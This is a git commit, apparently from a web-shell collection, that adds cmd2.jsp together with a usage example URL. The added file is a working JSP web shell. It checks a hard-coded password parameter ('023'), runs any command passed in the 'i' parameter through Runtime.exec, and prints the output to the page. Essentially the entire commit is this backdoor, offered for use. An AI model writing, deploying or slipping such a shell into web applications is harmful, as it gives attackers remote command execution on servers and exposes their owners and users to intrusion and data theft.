add cmd2.jsp

like http://site/url/cmd2.jsp?pwd=023&i=ls
2025-12-06 04:41:28 +00:00 · 2014-12-19 17:01:43 +08:00
parent 5e4358b31b
commit abaa8b5d13
1 changed files with 12 additions and 0 deletions
--- a/jsp/cat/cmd2.jsp
+++ b/jsp/cat/cmd2.jsp
@@ -0,0 +1,12 @@
+<%
+    if("023".equals(request.getParameter("pwd"))){
+        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
+        int a = -1;
+        byte[] b = new byte[2048];
+        out.print("<pre>");
+        while((a=in.read(b))!=-1){
+            out.println(new String(b));
+        }
+        out.print("</pre>");
+    }
+%>